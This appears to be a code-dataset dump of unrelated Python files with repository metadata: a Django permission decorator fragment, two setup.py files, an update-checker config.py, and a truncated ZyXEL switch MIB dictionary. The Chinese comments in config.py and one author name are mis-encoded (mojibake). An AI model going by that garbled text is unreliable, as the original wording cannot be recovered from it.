if not has_perm and not request.user.has_perm(perm, obj):
if return_403:
if guardian_settings.RENDER_403:
try:
response = render_to_response(
guardian_settings.TEMPLATE_403, {},
RequestContext(request))
response.status_code = 403
return response
except TemplateDoesNotExist, e:
if settings.DEBUG:
raise e
elif guardian_settings.RAISE_403:
raise PermissionDenied
return HttpResponseForbidden()
else:
path = urlquote(request.get_full_path())
tup = login_url, redirect_field_name, path
return HttpResponseRedirect("%s?%s=%s" % tup)
return view_func(request, *args, **kwargs)
return wraps(view_func)(_wrapped_view)
return decorator
def permission_required_or_403(perm, *args, **kwargs):
"""
Simple wrapper for permission_required decorator.
Standard Django's permission_required decorator redirects user to login page
in case permission check failed. This decorator may be used to return
HttpResponseForbidden (status 403) instead of redirection.
The only difference between ``permission_required`` decorator is that this
one always set ``return_403`` parameter to ``True``.
"""
kwargs['return_403'] = True
return permission_required(perm, *args, **kwargs)
| 47.762238 | 80 | 0.630893 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3,258 | 0.477013 |
7c4b0703a1999f5fa6b05313d2f3c64b1a7c6c84 | 948 | py | Python | setup.py | csengor/toraman_py | 5cb7b39ae073ecc2adcb7cea83b79492ac5aa485 | [
"MIT"
] | 2 | 2020-02-01T08:21:11.000Z | 2021-03-12T13:58:26.000Z | setup.py | csengor/toraman_py | 5cb7b39ae073ecc2adcb7cea83b79492ac5aa485 | [
"MIT"
] | null | null | null | setup.py | csengor/toraman_py | 5cb7b39ae073ecc2adcb7cea83b79492ac5aa485 | [
"MIT"
] | null | null | null | import setuptools
from toraman.version import __version__
with open('README.md', 'r') as input_file:
long_description = input_file.read()
setuptools.setup(
name='toraman',
version=__version__,
author='รaฤatay Onur ลengรถr',
author_email='contact@csengor.com',
description='A computer-assisted translation tool package',
keywords = ['CAT', 'computer-assisted translation', 'computer-aided translation', 'translation', 'free-to-use'],
long_description=long_description,
long_description_content_type='text/markdown',
url='https://github.com/csengor/toraman-py',
packages=setuptools.find_packages(),
install_requires=[
'lxml',
'python-levenshtein',
'regex'
],
classifiers=[
'Development Status :: 3 - Alpha',
'License :: OSI Approved :: MIT License',
'Operating System :: OS Independent',
'Programming Language :: Python :: 3',
],
)
| 30.580645 | 116 | 0.667722 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 438 | 0.460084 |
7c4d61daea2ec370e51d0a70c14c812f08cd827f | 1,491 | py | Python | setup.py | swtwsk/dbt-airflow-manifest-parser | fae0049fb8ff3bc7a78488a48a31023f67fbeef3 | [
"Apache-2.0"
] | null | null | null | setup.py | swtwsk/dbt-airflow-manifest-parser | fae0049fb8ff3bc7a78488a48a31023f67fbeef3 | [
"Apache-2.0"
] | null | null | null | setup.py | swtwsk/dbt-airflow-manifest-parser | fae0049fb8ff3bc7a78488a48a31023f67fbeef3 | [
"Apache-2.0"
] | null | null | null | """dbt_airflow_factory module."""
from setuptools import find_packages, setup
with open("README.md") as f:
README = f.read()
# Runtime Requirements.
INSTALL_REQUIRES = ["pytimeparse==1.1.8"]
# Dev Requirements
EXTRA_REQUIRE = {
"tests": [
"pytest>=6.2.2, <7.0.0",
"pytest-cov>=2.8.0, <3.0.0",
"tox==3.21.1",
"pre-commit==2.9.3",
"pandas==1.2.5",
"apache-airflow[kubernetes]==2.2.0",
],
"docs": [
"sphinx==4.3.1",
"sphinx-rtd-theme==1.0.0",
"sphinx-click>=3.0,<3.1",
"myst-parser>=0.16, <0.17",
"docutils>=0.17,<0.18",
],
}
setup(
name="dbt-airflow-factory",
version="0.18.0",
description="Library to convert DBT manifest metadata to Airflow tasks",
long_description=README,
long_description_content_type="text/markdown",
license="Apache Software License (Apache 2.0)",
python_requires=">=3",
classifiers=[
"Development Status :: 3 - Alpha",
"Programming Language :: Python :: 3.7",
"Programming Language :: Python :: 3.8",
],
keywords="dbt airflow manifest parser python",
author=u"Piotr Pekala",
author_email="piotr.pekala@getindata.com",
url="https://github.com/getindata/dbt-airflow-factory/",
packages=find_packages(exclude=["ez_setup", "examples", "tests", "docs"]),
include_package_data=True,
zip_safe=False,
install_requires=INSTALL_REQUIRES,
extras_require=EXTRA_REQUIRE,
)
| 28.132075 | 78 | 0.613011 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 782 | 0.52448 |
7c508b5e90ac0bb6b42082e2791baf6ee6cd6d24 | 704 | py | Python | config.py | RomashkaGang/Update_Checker | 1763ec5d8110462a72f5015abdc5c5be3e3c9498 | [
"MIT"
] | null | null | null | config.py | RomashkaGang/Update_Checker | 1763ec5d8110462a72f5015abdc5c5be3e3c9498 | [
"MIT"
] | null | null | null | config.py | RomashkaGang/Update_Checker | 1763ec5d8110462a72f5015abdc5c5be3e3c9498 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# encoding: utf-8
import os
# ๆฏๅฆๅฏ็จ่ฐ่ฏ ่ฅๅฏ็จ ๅฐไธๅๅฟฝ็ฅๆฃๆฅ่ฟ็จไธญๅ็็ไปปไฝๅผๅธธ
# ๅปบ่ฎฎๅจๅผๅ็ฏๅขไธญๅฏ็จ ๅจ็ไบง็ฏๅขไธญ็ฆ็จ
DEBUG_ENABLE = False
# SQLite ๆฐๆฎๅบๆไปถๅ
SQLITE_FILE = "saved.db"
# ๆฅๅฟๆไปถๅ
LOG_FILE = "log.txt"
# ๆฏๅฆๅฏ็จๆฅๅฟ
ENABLE_LOGGER = True
# ๅพช็ฏๆฃๆฅ็้ด้ๆถ้ด(้ป่ฎค: 180ๅ้)
LOOP_CHECK_INTERVAL = 180 * 60
# ไปฃ็ๆๅกๅจ
PROXIES = "127.0.0.1:1080"
# ่ฏทๆฑ่ถ
ๆถ
TIMEOUT = 20
# ๆฏๅฆไธบ Socks5 ไปฃ็
IS_SOCKS = False
# ๆฏๅฆๅฏ็จ TG BOT ๅ้ๆถๆฏ็ๅ่ฝ
ENABLE_SENDMESSAGE = False
# TG BOT TOKEN
TG_TOKEN = os.environ.get("TG_TOKEN", "")
# ๅ้ๆถๆฏๅฐ...
TG_SENDTO = os.environ.get("TG_SENDTO", "")
if IS_SOCKS:
_PROXIES_DIC = {"http": "socks5h://%s" % PROXIES, "https": "socks5h://%s" % PROXIES}
else:
_PROXIES_DIC = {"http": PROXIES, "https": PROXIES}
| 16 | 88 | 0.681818 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 537 | 0.588816 |
7c5207cb66825a5b72fe13d9cb2fcbddac1440f5 | 412,069 | py | Python | snmp/nav/smidumps/ZyXEL_GS4012F_mib.py | alexanderfefelov/nav-add-ons | c63d6942a9b8b1bf220efd7d33fb6be5f6bbb8af | [
"MIT"
] | null | null | null | snmp/nav/smidumps/ZyXEL_GS4012F_mib.py | alexanderfefelov/nav-add-ons | c63d6942a9b8b1bf220efd7d33fb6be5f6bbb8af | [
"MIT"
] | 17 | 2020-09-17T15:00:31.000Z | 2021-06-05T02:54:34.000Z | snmp/nav/smidumps/ZyXEL_GS4012F_mib.py | alexanderfefelov/nav-add-ons | c63d6942a9b8b1bf220efd7d33fb6be5f6bbb8af | [
"MIT"
] | null | null | null | # python version 1.0 DO NOT EDIT
#
# Generated by smidump version 0.4.8:
#
# smidump -f python ZYXEL-GS4012F-MIB
FILENAME = "mibs/ZyXEL/zyxel-GS4012F.mib"
MIB = {
"moduleName" : "ZYXEL-GS4012F-MIB",
"ZYXEL-GS4012F-MIB" : {
"nodetype" : "module",
"language" : "SMIv2",
"organization" :
"""ZyXEL""",
"contact" :
"""""",
"description" :
"""Fault event trap definitions""",
"revisions" : (
{
"date" : "2004-11-03 12:00",
"description" :
"""[Revision added by libsmi due to a LAST-UPDATED clause.]""",
},
{
"date" : "2004-11-01 12:00",
"description" :
"""[Revision added by libsmi due to a LAST-UPDATED clause.]""",
},
),
"identity node" : "faultTrapsMIB",
},
"imports" : (
{"module" : "RFC1155-SMI", "name" : "enterprises"},
{"module" : "SNMPv2-SMI", "name" : "OBJECT-TYPE"},
{"module" : "SNMPv2-TC", "name" : "RowStatus"},
{"module" : "SNMPv2-TC", "name" : "DateAndTime"},
{"module" : "SNMPv2-TC", "name" : "TruthValue"},
{"module" : "SNMPv2-TC", "name" : "StorageType"},
{"module" : "SNMPv2-TC", "name" : "MacAddress"},
{"module" : "RFC1213-MIB", "name" : "DisplayString"},
{"module" : "P-BRIDGE-MIB", "name" : "EnabledStatus"},
{"module" : "Q-BRIDGE-MIB", "name" : "PortList"},
{"module" : "BRIDGE-MIB", "name" : "dot1dBasePort"},
{"module" : "IF-MIB", "name" : "InterfaceIndexOrZero"},
{"module" : "SNMP-FRAMEWORK-MIB", "name" : "SnmpAdminString"},
{"module" : "INET-ADDRESS-MIB", "name" : "InetAddressType"},
{"module" : "INET-ADDRESS-MIB", "name" : "InetAddress"},
{"module" : "DISMAN-PING-MIB", "name" : "OperationResponseStatus"},
{"module" : "OSPF-MIB", "name" : "ospfIfIpAddress"},
{"module" : "OSPF-MIB", "name" : "ospfAddressLessIf"},
{"module" : "OSPF-MIB", "name" : "ospfAreaId"},
{"module" : "OSPF-MIB", "name" : "ospfNbrIpAddr"},
{"module" : "OSPF-MIB", "name" : "ospfNbrAddressLessIndex"},
{"module" : "OSPF-MIB", "name" : "ospfLsdbAreaId"},
{"module" : "OSPF-MIB", "name" : "ospfLsdbType"},
{"module" : "OSPF-MIB", "name" : "ospfLsdbLSID"},
{"module" : "OSPF-MIB", "name" : "ospfLsdbRouterId"},
{"module" : "OSPF-MIB", "name" : "ospfVirtIfAreaID"},
{"module" : "OSPF-MIB", "name" : "ospfVirtIfNeighbor"},
{"module" : "BRIDGE-MIB", "name" : "BridgeId"},
{"module" : "BRIDGE-MIB", "name" : "Timeout"},
),
"typedefs" : {
"UtcTimeStamp" : {
"basetype" : "Unsigned32",
"status" : "current",
"description" :
"""Universal Time Coordinated as a 32-bit value that designates
the number of seconds since Jan 1, 1970 12:00AM.""",
},
"EventIdNumber" : {
"basetype" : "Integer32",
"status" : "current",
"description" :
"""This textual convention describes the index that uniquely
identifies a fault event type in the entire system. Every fault
event type, e.g. link down, has a unique EventIdNumber.""",
},
"EventSeverity" : {
"basetype" : "Enumeration",
"status" : "current",
"critical" : {
"nodetype" : "namednumber",
"number" : "1"
},
"major" : {
"nodetype" : "namednumber",
"number" : "2"
},
"minor" : {
"nodetype" : "namednumber",
"number" : "3"
},
"informational" : {
"nodetype" : "namednumber",
"number" : "4"
},
"description" :
"""This textual convention describes the severity of a fault event.
The decreasing order of severity is shown in the textual
convention.""",
},
"EventServiceAffective" : {
"basetype" : "Enumeration",
"status" : "current",
"noServiceAffected" : {
"nodetype" : "namednumber",
"number" : "1"
},
"serviceAffected" : {
"nodetype" : "namednumber",
"number" : "2"
},
"description" :
"""This textual convention indicates whether an event is immediately
service affecting or not.""",
},
"InstanceType" : {
"basetype" : "Enumeration",
"status" : "current",
"unknown" : {
"nodetype" : "namednumber",
"number" : "1"
},
"node" : {
"nodetype" : "namednumber",
"number" : "2"
},
"shelf" : {
"nodetype" : "namednumber",
"number" : "3"
},
"line" : {
"nodetype" : "namednumber",
"number" : "4"
},
"switch" : {
"nodetype" : "namednumber",
"number" : "5"
},
"lsp" : {
"nodetype" : "namednumber",
"number" : "6"
},
"l2Interface" : {
"nodetype" : "namednumber",
"number" : "7"
},
"l3Interface" : {
"nodetype" : "namednumber",
"number" : "8"
},
"rowIndex" : {
"nodetype" : "namednumber",
"number" : "9"
},
"description" :
"""This textual convention describes the type of an instanceId
associated with each event and by that means specifies how
the instanceId variable should be intepreted.
Various instanceId types are specified below to enable fault
monitoring for different kind of devices from fixed
configuration pizza boxes to multi chassis nodes. All
instanceId types may not need to be used in every device
type.
Note also that instanceId semantics are element type dependent
(e.g. different kind of interface naming conventions may be used)
and thus instanceId usage may vary from element to element.
=========================================================================
Type Description Example form
of InstanceId
=========================================================================
unknown (1) unknown type - Irrelevant-
-------------------------------------------------------------------------
node (2) Associated with events originating from 1
the node. Used for general events that (Node number)
can not be associated with any specific
block. InstanceId value 1 is used for
single node equipment.
-------------------------------------------------------------------------
shelf (3) Associated with events originating from 1
the shelf. In the case of fixed (shelf number)
configuration devices this type is used
for events that are associated with the
physical enclosure, e.g. faults related
to fan etc. InstanceId value 1 is used
for single self equipment.
-------------------------------------------------------------------------
line (4) Associated with events originating from
physical interfaces or associated
components such as line cards.
InstanceId usage examples for faults
originating from:
- Physical port: Simply port number, e.g. .......1
-------------------------------------------------------------------------
switch (5) Associated with events originating from 1
from a switch chip or a switch card. (switch number)
For single switch equipment InstanceId
value 1 is used, for multi swich nodes
InstanceId semantics if for further
study.
-------------------------------------------------------------------------
lsp (6) Associated with events originating from 1
a particular lsp. (lsp index)
NOTE: In this case the InstanceName
contains the lsp name and InstanceId
contains lsp index.
-------------------------------------------------------------------------
l2Interface(7) Associated with events originating from - TBD -
a particular layer 2 interface. Used for
layer 2 related events such as L2 control
protocol faults. InstanceId semantics is
for further study.
-------------------------------------------------------------------------
l3Interface(8) Associated with events originating from - TBD -
a particular layer 3 interface. Used for
layer 3 related events such as L3 control
protocol faults. InstanceId semantics is
for further study.
-------------------------------------------------------------------------
rowIndex (9) Associated with events reporting about a
'logical' or conceptual table that consists
of rows. The Instance Id is the index/key
for a row in the table. The format of the
Instance Id will simply be a series of decimal
numbers seperated by a '.':
=========================================================================""",
},
"EventPersistence" : {
"basetype" : "Enumeration",
"status" : "current",
"normal" : {
"nodetype" : "namednumber",
"number" : "1"
},
"delta" : {
"nodetype" : "namednumber",
"number" : "2"
},
"description" :
"""This textual convention indicates whether the event is delta
(automatically and immediately cleared) or normal (not
automatically cleared).""",
},
"MstiOrCistInstanceIndex" : {
"basetype" : "Integer32",
"status" : "current",
"ranges" : [
{
"min" : "0",
"max" : "16"
},
],
"range" : {
"min" : "0",
"max" : "16"
},
"description" :
"""This textual convention is an extension of the
MstiInstanceIndex convention. This extension permits the
additional value of zero, which means Common and Internal
Spanning Tree (CIST).""",
},
}, # typedefs
"nodes" : {
"zyxel" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890",
}, # node
"products" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1",
}, # node
"accessSwitch" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5",
}, # node
"esSeries" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8",
}, # node
"gs4012f" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20",
}, # node
"sysInfo" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.1",
}, # node
"sysSwPlatformMajorVers" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""SW platform major version, e.g. 3.""",
}, # scalar
"sysSwPlatformMinorVers" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""SW platform minor version, e.g. 50.""",
}, # scalar
"sysSwModelString" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""Model letters, e.g. TJ""",
}, # scalar
"sysSwVersionControlNbr" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""Version control number, e.g. 0.""",
}, # scalar
"sysSwDay" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""SW compilation day, e.g. 19.""",
}, # scalar
"sysSwMonth" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""SW compilation month, e.g. 8.""",
}, # scalar
"sysSwYear" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.1.7",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""SW compilation year, e.g. 2004.""",
}, # scalar
"sysHwMajorVers" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.1.8",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""HW major version number, e.g. 1.""",
}, # scalar
"sysHwMinorVers" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.1.9",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""HW minor version number, e.g. 0.""",
}, # scalar
"sysSerialNumber" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.1.10",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readonly",
"description" :
"""Serial number""",
}, # scalar
"rateLimitSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.2",
}, # node
"rateLimitState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.2.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""Ingress/egress rate limiting enabled/disabled for the switch.""",
}, # scalar
"rateLimitPortTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.2.2",
"status" : "current",
"description" :
"""""",
}, # table
"rateLimitPortEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.2.2.1",
"status" : "current",
"linkage" : [
"dot1dBasePort",
],
"description" :
"""An entry in rateLimitPortTable.""",
}, # row
"rateLimitPortState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.2.2.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""Ingress/egress rate limiting enabled/disabled on the port.""",
}, # column
"rateLimitPortCommitRate" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.2.2.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""Commit rate in Kbit/s. The range of FE port is between 0 and 100,000. For GE port, the range is between 0 and 1000,000.""",
}, # column
"rateLimitPortPeakRate" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.2.2.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""Peak rate in Kbit/s. The range of FE port is between 1 and 100,000. For GE port, the range is between 1 and 1000,000.""",
}, # column
"rateLimitPortEgrRate" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.2.2.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""Egress rate in Mbit/s. The granularity of FE port is between 1 and 100. For GE port, the granularity is between 1 and 1000.""",
}, # column
"rateLimitPortPeakState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.2.2.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""Ingress peak rate limiting enabled/disabled on the port.""",
}, # column
"rateLimitPortEgrState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.2.2.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""Egress rate limiting enabled/disabled on the port.""",
}, # column
"rateLimitPortCommitState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.2.2.1.7",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""Ingress commit rate limiting enabled/disabled on the port.""",
}, # column
"brLimitSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.3",
}, # node
"brLimitState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.3.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""Broadcast/multicast/DLF rate limiting enabled/disabled for the switch.""",
}, # scalar
"brLimitPortTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.3.2",
"status" : "current",
"description" :
"""""",
}, # table
"brLimitPortEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.3.2.1",
"status" : "current",
"linkage" : [
"dot1dBasePort",
],
"description" :
"""An entry in brLimitPortTable.""",
}, # row
"brLimitPortBrState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.3.2.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""Broadcast rate limiting enabled/disabled on the port.""",
}, # column
"brLimitPortBrRate" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.3.2.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""Allowed broadcast rate in pkts/s. For FE port,
the maximum value is 148800. For GE port, the maximum value is 262143.""",
}, # column
"brLimitPortMcState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.3.2.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""Multicast rate limiting enabled/disabled on the port.""",
}, # column
"brLimitPortMcRate" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.3.2.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""AAllowed mullticast rate in pkts/s. For FE port,
the maximum value is 148800. For GE port, the maximum value is 262143.""",
}, # column
"brLimitPortDlfState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.3.2.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""Destination lookup failure frames rate limiting enabled/disabled on the port.""",
}, # column
"brLimitPortDlfRate" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.3.2.1.6",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""Allowed destination lookup failure frames rate in pkts/s.
For FE port, the maximum value is 148800. For GE port, the maximum value is 262143.""",
}, # column
"portSecuritySetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.4",
}, # node
"portSecurityState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.4.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"portSecurityPortTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.4.2",
"status" : "current",
"description" :
"""""",
}, # table
"portSecurityPortEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.4.2.1",
"status" : "current",
"linkage" : [
"dot1dBasePort",
],
"description" :
"""An entry in portSecurityPortTable.""",
}, # row
"portSecurityPortState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.4.2.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""Port Security enabled/disabled on the port.
Active(1) means this port only accept frames from static MAC addresses that are configured for the port,
and dynamic MAC address frames up to the number specified by portSecurityPortCount object.""",
}, # column
"portSecurityPortLearnState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.4.2.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""MAC address learning enabled/disable on the port.""",
}, # column
"portSecurityPortCount" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.4.2.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""Number of (dynamic) MAC addresses that may be learned on the port.""",
}, # column
"portSecurityMacFreeze" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.4.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"Q-BRIDGE-MIB", "name" : "PortList"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"vlanTrunkSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.5",
}, # node
"vlanTrunkPortTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.5.1",
"status" : "current",
"description" :
"""""",
}, # table
"vlanTrunkPortEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.5.1.1",
"status" : "current",
"linkage" : [
"dot1dBasePort",
],
"description" :
"""An entry in vlanTrunkPortTable.""",
}, # row
"vlanTrunkPortState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.5.1.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""VlanTrunking enabled/disabled on the port.
Active(1) to allow frames belonging to unknown
VLAN groups to pass through the switch.""",
}, # column
"ctlProtTransSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.6",
}, # node
"ctlProtTransState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.6.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""Bridge control protocol transparency enabled/disabled for the switch""",
}, # scalar
"ctlProtTransTunnelPortTable" : {
